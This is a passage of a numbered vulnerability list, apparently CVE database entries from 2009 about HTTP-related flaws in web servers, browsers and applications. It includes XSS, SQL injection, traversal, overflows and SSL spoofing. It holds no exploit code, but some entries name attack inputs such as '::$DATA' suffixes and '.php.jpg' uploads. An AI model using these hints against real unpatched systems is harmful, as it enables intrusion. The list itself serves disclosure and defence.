12174| [CVE-2009-4489] header.c in Cherokee before 0.99.32 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12175| [CVE-2009-4487] nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12176| [CVE-2009-4413] The httpClientDiscardBody function in client.c in Polipo 0.9.8, 0.9.12, 1.0.4, and possibly other versions, allows remote attackers to cause a denial of service (crash) via a request with a large Content-Length value, which triggers an integer overflow, a signed-to-unsigned conversion error with a negative value, and a segmentation fault.
12177| [CVE-2009-4355] Memory leak in the zlib_stateful_finish function in crypto/comp/c_zlib.c in OpenSSL 0.9.8l and earlier and 1.0.0 Beta through Beta 4 allows remote attackers to cause a denial of service (memory consumption) via vectors that trigger incorrect calls to the CRYPTO_cleanup_all_ex_data function, as demonstrated by use of SSLv3 and PHP with the Apache HTTP Server, a related issue to CVE-2008-1678.
12178| [CVE-2009-4302] login/index_form.html in Moodle 1.8 before 1.8.11 and 1.9 before 1.9.7 links to an index page on the HTTP port even when the page is served from an HTTPS port, which might cause login credentials to be sent in cleartext, even when SSL is intended, and allows remote attackers to obtain these credentials by sniffing.
12179| [CVE-2009-4261] Multiple directory traversal vulnerabilities in the iallocator framework in Ganeti 1.2.4 through 1.2.8, 2.0.0 through 2.0.4, and 2.1.0 before 2.1.0~rc2 allow (1) remote attackers to execute arbitrary programs via a crafted external script name supplied through the HTTP remote API (RAPI) and allow (2) local users to execute arbitrary programs and gain privileges via a crafted external script name supplied through a gnt-* command, related to "path sanitization errors."
12180| [CVE-2009-4243] RealNetworks RealPlayer 10, RealPlayer 10.5 6.0.12.1040 through 6.0.12.1741, RealPlayer 11 11.0.0 through 11.0.4, RealPlayer Enterprise, Mac RealPlayer 10 and 10.1, Linux RealPlayer 10, and Helix Player 10.x allow remote attackers to have an unspecified impact via a crafted media file that uses HTTP chunked transfer coding, related to an "overflow."
12181| [CVE-2009-4203] Multiple SQL injection vulnerabilities in admin/aclass/admin_func.php in Arab Portal 2.2 allow remote attackers to execute arbitrary SQL commands via the (1) X-Forwarded-For or (2) Client-IP HTTP header in a request to the default URI under admin/.
12182| [CVE-2009-4180] Stack-based buffer overflow in snmpviewer.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a long HTTP Host header.
12183| [CVE-2009-4179] Stack-based buffer overflow in ovalarm.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a long HTTP Accept-Language header in an OVABverbose action.
12184| [CVE-2009-4177] Buffer overflow in webappmon.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via a long HTTP Host header.
12185| [CVE-2009-4151] Session fixation vulnerability in html/Elements/SetupSessionCookie in Best Practical Solutions RT 3.0.0 through 3.6.9 and 3.8.x through 3.8.5 allows remote attackers to hijack web sessions by setting the session identifier via a manipulation that leverages "HTTP access to the RT server," a related issue to CVE-2009-3585.
12186| [CVE-2009-4140] Unrestricted file upload vulnerability in ofc_upload_image.php in Open Flash Chart v2 Beta 1 through v2 Lug Wyrm Charmer, as used in Piwik 0.2.35 through 0.4.3, Woopra Analytics Plugin before 1.4.3.2, and possibly other products, when register_globals is enabled, allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension through the name parameter with the code in the HTTP_RAW_POST_DATA parameter, then accessing it via a direct request to the file in tmp-upload-images/.
12187| [CVE-2009-4086] CRLF injection vulnerability in Xerver HTTP Server 4.31 and 4.32 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via certain byte sequences at the end of a URL. NOTE: some of these details are obtained from third party information.
12188| [CVE-2009-3984] Mozilla Firefox before 3.0.16 and 3.5.x before 3.5.6, and SeaMonkey before 2.0.1, allows remote attackers to spoof an SSL indicator for an http URL or a file URL by setting document.location to an https URL corresponding to a site that responds with a No Content (aka 204) status code and an empty body.
12189| [CVE-2009-3923] The VirtualBox 2.0.8 and 2.0.10 web service in Sun Virtual Desktop Infrastructure (VDI) 3.0 does not require authentication, which allows remote attackers to obtain unspecified access via vectors involving requests to an Apache HTTP Server.
12190| [CVE-2009-3904] classes/session/cc_admin_session.php in CubeCart 4.3.4 does not properly restrict administrative access permissions, which allows remote attackers to bypass restrictions and gain administrative access via a HTTP request that contains an empty (1) sessID (ccAdmin cookie), (2) X_CLUSTER_CLIENT_IP header, or (3) User-Agent header.
12191| [CVE-2009-3898] Directory traversal vulnerability in src/http/modules/ngx_http_dav_module.c in nginx (aka Engine X) before 0.7.63, and 0.8.x before 0.8.17, allows remote authenticated users to create or overwrite arbitrary files via a .. (dot dot) in the Destination HTTP header for the WebDAV (1) COPY or (2) MOVE method.
12192| [CVE-2009-3896] src/http/ngx_http_parse.c in nginx (aka Engine X) 0.1.0 through 0.4.14, 0.5.x before 0.5.38, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.14 allows remote attackers to cause a denial of service (NULL pointer dereference and worker process crash) via a long URI.
12193| [CVE-2009-3890] Unrestricted file upload vulnerability in the wp_check_filetype function in wp-includes/functions.php in WordPress before 2.8.6, when a certain configuration of the mod_mime module in the Apache HTTP Server is enabled, allows remote authenticated users to execute arbitrary code by posting an attachment with a multiple-extension filename, and then accessing this attachment via a direct request to a wp-content/uploads/ pathname, as demonstrated by a .php.jpg filename.
12194| [CVE-2009-3877] Unspecified vulnerability in Sun Java SE in JDK and JRE 5.0 before Update 22, JDK and JRE 6 before Update 17, SDK and JRE 1.3.x before 1.3.1_27, and SDK and JRE 1.4.x before 1.4.2_24 allows remote attackers to cause a denial of service (memory consumption) via crafted HTTP headers, which are not properly parsed by the ASN.1 DER input stream parser, aka Bug Id 6864911.
12195| [CVE-2009-3845] The port-3443 HTTP server in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary commands via shell metacharacters in the hostname parameter to unspecified Perl scripts.
12196| [CVE-2009-3749] The Web Administrator service (STEMWADM.EXE) in Websense Personal Email Manager 7.1 before Hotfix 4 and Email Security 7.1 before Hotfix 4 allows remote attackers to cause a denial of service (crash) by sending a HTTP GET request to TCP port 8181 and closing the socket before the service can send a response.
12197| [CVE-2009-3711] Stack-based buffer overflow in the h_handlepeer function in http.cpp in httpdx 1.4, and possibly 1.4.3, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
12198| [CVE-2009-3693] Directory traversal vulnerability in the Persits.XUpload.2 ActiveX control (XUpload.ocx) in HP LoadRunner 9.5 allows remote attackers to create arbitrary files via \.. (backwards slash dot dot) sequences in the third argument to the MakeHttpRequest method.
12199| [CVE-2009-3663] Format string vulnerability in the h_readrequest function in http.c in httpdx Web Server 1.4 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via format string specifiers in the Host header.
12200| [CVE-2009-3652] Cross-site scripting (XSS) vulnerability in Organic Groups (OG) 5.x-7.x before 5.x-7.4, 5.x-8.x before 5.x-8.1, and 6.x-1.x before 6.x-1.4, a module for Drupal, allows remote authenticated users, with create or edit group nodes permissions, to inject arbitrary web script or HTML via the User-Agent HTTP header, a different issue than CVE-2008-3095.
12201| [CVE-2009-3651] Cross-site scripting (XSS) vulnerability in the "Monitor browsers' feature in Browscap before 5.x-1.1 and 6.x-1.1, a module for Drupal, allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
12202| [CVE-2009-3646] InterVations NaviCOPA Web Server 3.01 allows remote attackers to obtain the source code for a web page via an HTTP request with the addition of ::$DATA after the HTML file name.
12203| [CVE-2009-3586] Off-by-one error in src/http.c in CoreHTTP 0.5.3.1 and earlier allows remote attackers to cause a denial of service or possibly execute arbitrary code via an HTTP request with a long first line that triggers a buffer overflow. NOTE: this vulnerability reportedly exists because of an incorrect fix for CVE-2007-4060.
12204| [CVE-2009-3584] SQL-Ledger 2.8.24 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
12205| [CVE-2009-3566] McAfee IntruShield Network Security Manager (NSM) before 5.1.11.8.1 does not include the HTTPOnly flag in the Set-Cookie header for the session identifier, which allows remote attackers to hijack a session by leveraging a cross-site scripting (XSS) vulnerability.
12206| [CVE-2009-3562] Cross-site scripting (XSS) vulnerability in Xerver HTTP Server 4.32 allows remote attackers to inject arbitrary web script or HTML via the currentPath parameter in a chooseDirectory action.
12207| [CVE-2009-3561] Directory traversal vulnerability in Xerver HTTP Server 4.32 allows remote attackers to read arbitrary files via a full pathname with a drive letter in the currentPath parameter in a chooseDirectory action.
12208| [CVE-2009-3555] The TLS protocol, and the SSL protocol 3.0 and possibly earlier, as used in Microsoft Internet Information Services (IIS) 7.0, mod_ssl in the Apache HTTP Server 2.2.14 and earlier, OpenSSL before 0.9.8l, GnuTLS 2.8.5 and earlier, Mozilla Network Security Services (NSS) 3.12.4 and earlier, multiple Cisco products, and other products, does not properly associate renegotiation handshakes with an existing connection, which allows man-in-the-middle attackers to insert data into HTTPS sessions, and possibly other types of sessions protected by TLS or SSL, by sending an unauthenticated request that is processed retroactively by a server in a post-renegotiation context, related to a "plaintext injection" attack, aka the "Project Mogul" issue.
12209| [CVE-2009-3544] Xerver HTTP Server 4.32 allows remote attackers to obtain the source code for a web page via an HTTP request with the addition of ::$DATA after the HTML file name.
12210| [CVE-2009-3457] Cisco ACE XML Gateway (AXG) and ACE Web Application Firewall (WAF) before 6.1 allow remote attackers to obtain sensitive information via an HTTP request that lacks a handler, as demonstrated by (1) an OPTIONS request or (2) a crafted GET request, leading to a Message-handling Errors message containing a certain client intranet IP address, aka Bug ID CSCtb82159.
12211| [CVE-2009-3444] Cross-site scripting (XSS) vulnerability in email.php in e107 0.7.16 and earlier allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header in a news.1 (aka news to email) action.
12212| [CVE-2009-3321] SQL injection vulnerability in SaphpLesson 4.3, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the CLIENT_IP HTTP header.
12213| [CVE-2009-3305] Polipo 1.0.4, and possibly other versions, allows remote attackers to cause a denial of service (crash) via a request with a Cache-Control header that lacks a value for the max-age field, which triggers a segmentation fault in the httpParseHeaders function in http_parse.c, and possibly other unspecified vectors.
12214| [CVE-2009-3250] The saveForwardAttachments procedure in the Compose Mail functionality in vtiger CRM 5.0.4 allows remote authenticated users to execute arbitrary code by composing an e-mail message with an attachment filename ending in (1) .php in installations based on certain Apache HTTP Server configurations, (2) .php. on Windows, or (3) .php/ on Linux, and then making a direct request to a certain pathname under storage/.
12215| [CVE-2009-3106] The Servlet Engine/Web Container component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.37 does not properly implement security constraints on the (1) doGet and (2) doTrace methods, which allows remote attackers to bypass intended access restrictions and obtain sensitive information via a crafted HTTP HEAD request to a Web Application.
12216| [CVE-2009-3095] The mod_proxy_ftp module in the Apache HTTP Server allows remote attackers to bypass intended access restrictions and send arbitrary commands to an FTP server via vectors related to the embedding of these commands in the Authorization HTTP header, as demonstrated by a certain module in VulnDisco Pack Professional 8.11.
12217| [CVE-2009-3094] The ap_proxy_ftp_handler function in modules/proxy/proxy_ftp.c in the mod_proxy_ftp module in the Apache HTTP Server 2.0.63 and 2.2.13 allows remote FTP servers to cause a denial of service (NULL pointer dereference and child process crash) via a malformed reply to an EPSV command.
12218| [CVE-2009-3018] Maxthon Browser 3.0.0.145 Alpha with Ultramode does not properly block javascript: and data: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains a javascript: URI, (2) entering a javascript: URI when specifying the content of a Refresh header, (3) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, or (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header
12219| [CVE-2009-3017] Orca Browser 1.2 build 5 does not properly block data: URIs in Refresh and Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header, (3) injecting a Location header that contains JavaScript sequences in a data:text/html URI, or (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header
12220| [CVE-2009-3016] Apple Safari 4.0.3 does not properly block javascript: and data: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains a javascript: URI, (2) entering a javascript: URI when specifying the content of a Refresh header, (3) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, or (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header.
12221| [CVE-2009-3015] QtWeb 3.0 Builds 001 and 003 does not properly block javascript: and data: URIs in Refresh and Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains a javascript: URI, (2) entering a javascript: URI when specifying the content of a Refresh header, (3) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI, (4) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header, (5) injecting a Location header that contains JavaScript sequences in a data:text/html URI, or (6) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header.
12222| [CVE-2009-3013] Opera 9.52 and earlier, and 10.00 Beta 3 Build 1699, does not properly block data: URIs in Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Location header that contains JavaScript sequences in a data:text/html URI or (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header. NOTE: the JavaScript executes outside of the context of the HTTP site.
12223| [CVE-2009-3012] Mozilla Firefox 3.0.13 and earlier, 3.5, 3.6 a1 pre, and 3.7 a1 pre does not properly block data: URIs in Location headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Location header that contains JavaScript sequences in a data:text/html URI or (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Location header. NOTE: the JavaScript executes outside of the context of the HTTP site.
12224| [CVE-2009-3011] Google Chrome 1.0.154.48 and earlier, 2.0.172.28, 2.0.172.37, and 3.0.193.2 Beta does not properly block data: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header that contains JavaScript sequences in a data:text/html URI or (2) entering a data:text/html URI with JavaScript sequences when specifying the content of a Refresh header. NOTE: the JavaScript executes outside of the context of the HTTP site.
12225| [CVE-2009-2973] Google Chrome before 2.0.172.43 does not prevent SSL connections to a site with an X.509 certificate signed with the (1) MD2 or (2) MD4 algorithm, which makes it easier for man-in-the-middle attackers to spoof arbitrary HTTPS servers via a crafted certificate, a related issue to CVE-2009-2409.
12226| [CVE-2009-2966] avp.exe in Kaspersky Internet Security 9.0.0.459 and Anti-Virus 9.0.0.463 allows remote attackers to cause a denial of service (CPU consumption and network connectivity loss) via an HTTP URL request that contains a large number of dot "." characters.
12227| [CVE-2009-2936] ** DISPUTED ** The Command Line Interface (aka Server CLI or administration interface) in the master process in the reverse proxy server in Varnish before 2.1.0 does not require authentication for commands received through a TCP port, which allows remote attackers to (1) execute arbitrary code via a vcl.inline directive that provides a VCL configuration file containing inline C code
12228| [CVE-2009-2901] The autodeployment process in Apache Tomcat 5.5.0 through 5.5.28 and 6.0.0 through 6.0.20, when autoDeploy is enabled, deploys appBase files that remain from a failed undeploy, which might allow remote attackers to bypass intended authentication requirements via HTTP requests.
12229| [CVE-2009-2865] Buffer overflow in the login implementation in the Extension Mobility feature in the Unified Communications Manager Express (CME) component in Cisco IOS 12.4XW, 12.4XY, 12.4XZ, and 12.4YA allows remote attackers to execute arbitrary code or cause a denial of service via crafted HTTP requests, aka Bug ID CSCsq58779.
12230| [CVE-2009-2855] The strListGetItem function in src/HttpHeaderTools.c in Squid 2.7 allows remote attackers to cause a denial of service via a crafted auth header with certain comma delimiters that trigger an infinite loop of calls to the strcspn function.
12231| [CVE-2009-2823] The Apache HTTP Server in Apple Mac OS X before 10.6.2 enables the HTTP TRACE method, which allows remote attackers to conduct cross-site scripting (XSS) attacks via unspecified web client software.
12232| [CVE-2009-2820] The web interface in CUPS before 1.4.2, as used on Apple Mac OS X before 10.6.2 and other platforms, does not properly handle (1) HTTP headers and (2) HTML templates, which allows remote attackers to conduct cross-site scripting (XSS) attacks and HTTP response splitting attacks via vectors related to (a) the product's web interface, (b) the configuration of the print system, and (c) the titles of printed jobs, as demonstrated by an XSS attack that uses the kerberos parameter to the admin program, and leverages attribute injection and HTTP Parameter Pollution (HPP) issues.
12233| [CVE-2009-2816] The implementation of Cross-Origin Resource Sharing (CORS) in WebKit, as used in Apple Safari before 4.0.4 and Google Chrome before 3.0.195.33, includes certain custom HTTP headers in the OPTIONS request during cross-origin operations with preflight, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via a crafted web page.
12234| [CVE-2009-2808] Help Viewer in Apple Mac OS X before 10.6.2 does not use an HTTPS connection to retrieve Apple Help content from a web site, which allows man-in-the-middle attackers to send a crafted help:runscript link, and thereby execute arbitrary code, via a spoofed response.
12235| [CVE-2009-2766] httpd.c in httpd in the management GUI in DD-WRT 24 sp1 does not require administrative authentication for programs under cgi-bin/, which allows remote attackers to change settings via HTTP requests.
12236| [CVE-2009-2765] httpd.c in httpd in the management GUI in DD-WRT 24 sp1, and other versions before build 12533, allows remote attackers to execute arbitrary commands via shell metacharacters in a request to a cgi-bin/ URI.
12237| [CVE-2009-2732] The checkHTTPpassword function in http.c in ntop 3.3.10 and earlier allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an Authorization HTTP header that lacks a : (colon) character in the base64-decoded string.
12238| [CVE-2009-2699] The Solaris pollset feature in the Event Port backend in poll/unix/port.c in the Apache Portable Runtime (APR) library before 1.3.9, as used in the Apache HTTP Server before 2.2.14 and other products, does not properly handle errors, which allows remote attackers to cause a denial of service (daemon hang) via unspecified HTTP requests, related to the prefork and event MPMs.
12239| [CVE-2009-2665] The nsDocument::SetScriptGlobalObject function in content/base/src/nsDocument.cpp in Mozilla Firefox 3.5.x before 3.5.2, when certain add-ons are enabled, does not properly handle a Link HTTP header, which allows remote attackers to execute arbitrary JavaScript with chrome privileges via a crafted web page, related to an incorrect security wrapper.
12240| [CVE-2009-2659] The Admin media handler in core/servers/basehttp.py in Django 1.0 and 0.96 does not properly map URL requests to expected "static media files," which allows remote attackers to conduct directory traversal attacks and read arbitrary files via a crafted URL.
12241| [CVE-2009-2629] Buffer underflow in src/http/ngx_http_parse.c in nginx 0.1.0 through 0.5.37, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.15 allows remote attackers to execute arbitrary code via crafted HTTP requests.
12242| [CVE-2009-2622] Squid 3.0 through 3.0.STABLE16 and 3.1 through 3.1.0.11 allows remote attackers to cause a denial of service via malformed requests including (1) "missing or mismatched protocol identifier," (2) missing or negative status value," (3) "missing version," or (4) "missing or invalid status number," related to (a) HttpMsg.cc and (b) HttpReply.cc.
12243| [CVE-2009-2621] Squid 3.0 through 3.0.STABLE16 and 3.1 through 3.1.0.11 does not properly enforce "buffer limits and related bound checks," which allows remote attackers to cause a denial of service via (1) an incomplete request or (2) a request with a large header size, related to (a) HttpMsg.cc and (b) client_side.cc.
12244| [CVE-2009-2582] Stack-based buffer overflow in manager.exe in Akamai Download Manager (aka DLM or dlmanager) before 2.2.4.8 allows remote web servers to execute arbitrary code via a malformed HTTP response during a Redswoosh download, a different vulnerability than CVE-2007-1891 and CVE-2007-1892.
12245| [CVE-2009-2509] Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly validate headers in HTTP requests, which allows remote authenticated users to execute arbitrary code via a crafted request to an IIS web server, aka "Remote Code Execution in ADFS Vulnerability."
12246| [CVE-2009-2422] The example code for the digest authentication functionality (http_authentication.rb) in Ruby on Rails before 2.3.3 defines an authenticate_or_request_with_http_digest block that returns nil instead of false when the user does not exist, which allows context-dependent attackers to bypass authentication for applications that are derived from this example by sending an invalid username without a password.
12247| [CVE-2009-2374] Drupal 5.x before 5.19 and 6.x before 6.13 does not properly sanitize failed login attempts for pages that contain a sortable table, which includes the username and password in links that can be read from (1) the HTTP referer header of external web sites that are visited from those links or (2) when page caching is enabled, the Drupal page cache.
12248| [CVE-2009-2353] encoder.php in eAccelerator allows remote attackers to execute arbitrary code by copying a local executable file to a location under the web root via the -o option, and then making a direct request to this file, related to upload of image files.
12249| [CVE-2009-2352] Google Chrome 1.0.154.48 and earlier does not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header, a related issue to CVE-2009-1312. NOTE: it was later reported that 2.0.172.28, 2.0.172.37, and 3.0.193.2 Beta are also affected.
12250| [CVE-2009-2351] Opera 9.52 and earlier does not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header, a related issue to CVE-2009-1312. NOTE: it was later reported that 10.00 Beta 3 Build 1699 is also affected.
12251| [CVE-2009-2350] Microsoft Internet Explorer 6.0.2900.2180 and earlier does not block javascript: URIs in Refresh headers in HTTP responses, which allows remote attackers to conduct cross-site scripting (XSS) attacks via vectors related to (1) injecting a Refresh header or (2) specifying the content of a Refresh header, a related issue to CVE-2009-1312.
12252| [CVE-2009-2299] The Artofdefence Hyperguard Web Application Firewall (WAF) module before 2.5.5-11635, 3.0 before 3.0.3-11636, and 3.1 before 3.1.1-11637, a module for the Apache HTTP Server, allows remote attackers to cause a denial of service (memory consumption) via an HTTP request with a large Content-Length value but no POST data.
12253| [CVE-2009-2281] Multiple heap-based buffer underflows in the readPostBody function in cgiutil.c in mapserv in MapServer 4.x through 4.10.4 and 5.x before 5.4.2 allow remote attackers to execute arbitrary code via (1) a crafted Content-Length HTTP header or (2) a large HTTP request, related to an integer overflow that triggers a heap-based buffer overflow. NOTE: this issue reportedly exists because of an incomplete fix for CVE-2009-0840.
12254| [CVE-2009-2272] The Huawei D100 stores the administrator's account name and password in cleartext in a cookie, which allows context-dependent attackers to obtain sensitive information by (1) reading a cookie file, by (2) sniffing the network for HTTP headers, and possibly by using unspecified other vectors.
12255| [CVE-2009-2256] The administrative web interface on the Netgear DG632 with firmware 3.4.0_ap allows remote attackers to cause a denial of service (web outage) via an HTTP POST request to cgi-bin/firmwarecfg.
12256| [CVE-2009-2173] The LAN game feature in Carom3D 5.06 allows remote authenticated users to cause a denial of service (application hang) via a crafted HTTP request to TCP port 28012.
12257| [CVE-2009-2121] Buffer overflow in the browser kernel in Google Chrome before 2.0.172.33 allows remote HTTP servers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted response.
12258| [CVE-2009-2072] Apple Safari does not require a cached certificate before displaying a lock icon for an https web site, which allows man-in-the-middle attackers to spoof an arbitrary https site by sending the browser a crafted (1) 4xx or (2) 5xx CONNECT response page for an https request sent through a proxy server.
12259| [CVE-2009-2071] Google Chrome before 1.0.154.53 displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.
12260| [CVE-2009-2070] Opera displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.
12261| [CVE-2009-2069] Microsoft Internet Explorer before 8 displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.
12262| [CVE-2009-2068] Google Chrome detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
12263| [CVE-2009-2067] Opera detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
12264| [CVE-2009-2066] Apple Safari detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
12265| [CVE-2009-2065] Mozilla Firefox 3.0.10, and possibly other versions, detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
12266| [CVE-2009-2064] Microsoft Internet Explorer 8, and possibly other versions, detects http content in https web pages only when the top-level frame uses https, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying an http page to include an https iframe that references a script file on an http site, related to "HTTP-Intended-but-HTTPS-Loadable (HPIHSL) pages."
12267| [CVE-2009-2063] Opera, possibly before 9.25, processes a 3xx HTTP CONNECT response before a successful SSL handshake, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying this CONNECT response to specify a 302 redirect to an arbitrary https web site.
12268| [CVE-2009-2062] Apple Safari before 3.2.2 processes a 3xx HTTP CONNECT response before a successful SSL handshake, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying this CONNECT response to specify a 302 redirect to an arbitrary https web site.
12269| [CVE-2009-2061] Mozilla Firefox before 3.0.10 processes a 3xx HTTP CONNECT response before a successful SSL handshake, which allows man-in-the-middle attackers to execute arbitrary web script, in an https site's context, by modifying this CONNECT response to specify a 302 redirect to an arbitrary https web site.
12270| [CVE-2009-2060] src/net/http/http_transaction_winhttp.cc in Google Chrome before 1.0.154.53 uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
12271| [CVE-2009-2059] Opera, possibly before 9.25, uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
12272| [CVE-2009-2058] Apple Safari before 3.2.2 uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
12273| [CVE-2009-2057] Microsoft Internet Explorer before 8 uses the HTTP Host header to determine the context of a document provided in a (1) 4xx or (2) 5xx CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
12274| [CVE-2009-2046] The embedded web server on the Cisco Video Surveillance 2500 Series IP Camera with firmware before 2.1 allows remote attackers to read arbitrary files via a (1) http or (2) https request, related to the (a) SD Camera Web Server and the (b) Wireless Camera HTTP Server, aka Bug IDs CSCsu05515 and CSCsr96497.
12275| [CVE-2009-1976] Unspecified vulnerability in the HTTP Server component in Oracle Application Server 10.1.2.3 allows remote attackers to affect integrity via unknown vectors.
12276| [CVE-2009-1955] The expat XML parser in the apr_xml_* interface in xml/apr_xml.c in Apache APR-util before 1.3.7, as used in the mod_dav and mod_dav_svn modules in the Apache HTTP Server, allows remote attackers to cause a denial of service (memory consumption) via a crafted XML document containing a large number of nested entity references, as demonstrated by a PROPFIND request, a similar issue to CVE-2003-1564.
12277| [CVE-2009-1907] Cross-site scripting (XSS) vulnerability in claroline/linker/notfound.php in Claroline 1.8.11 allows remote attackers to inject arbitrary web script or HTML via the Referer HTTP header.
12278| [CVE-2009-1903] The PDF XSS protection feature in ModSecurity before 2.5.8 allows remote attackers to cause a denial of service (Apache httpd crash) via a request for a PDF file that does not use the GET method.
12279| [CVE-2009-1901] The Security component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.35 permits "non-standard http methods," which has unknown impact and remote attack vectors.
12280| [CVE-2009-1898] The secure login page in the Administrative Console component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.35 does not redirect to an https page upon receiving an http request, which makes it easier for remote attackers to read the contents of WAS sessions by sniffing the network.
12281| [CVE-2009-1891] The mod_deflate module in Apache httpd 2.2.11 and earlier compresses large files until completion even after the associated network connection is closed, which allows remote attackers to cause a denial of service (CPU consumption).
12282| [CVE-2009-1890] The stream_reqbody_cl function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server before 2.3.3, when a reverse proxy is configured, does not properly handle an amount of streamed data that exceeds the Content-Length value, which allows remote attackers to cause a denial of service (CPU consumption) via crafted requests.
12283| [CVE-2009-1842] SQL injection vulnerability in main/tracking/userLog.php in Francisco Burzi PHP-Nuke 8.0 allows remote attackers to execute arbitrary SQL commands via the HTTP Referer header.
12284| [CVE-2009-1836] Mozilla Firefox before 3.0.11, Thunderbird before 2.0.0.22, and SeaMonkey before 1.1.17 use the HTTP Host header to determine the context of a document provided in a non-200 CONNECT response from a proxy server, which allows man-in-the-middle attackers to execute arbitrary web script by modifying this CONNECT response, aka an "SSL tampering" attack.
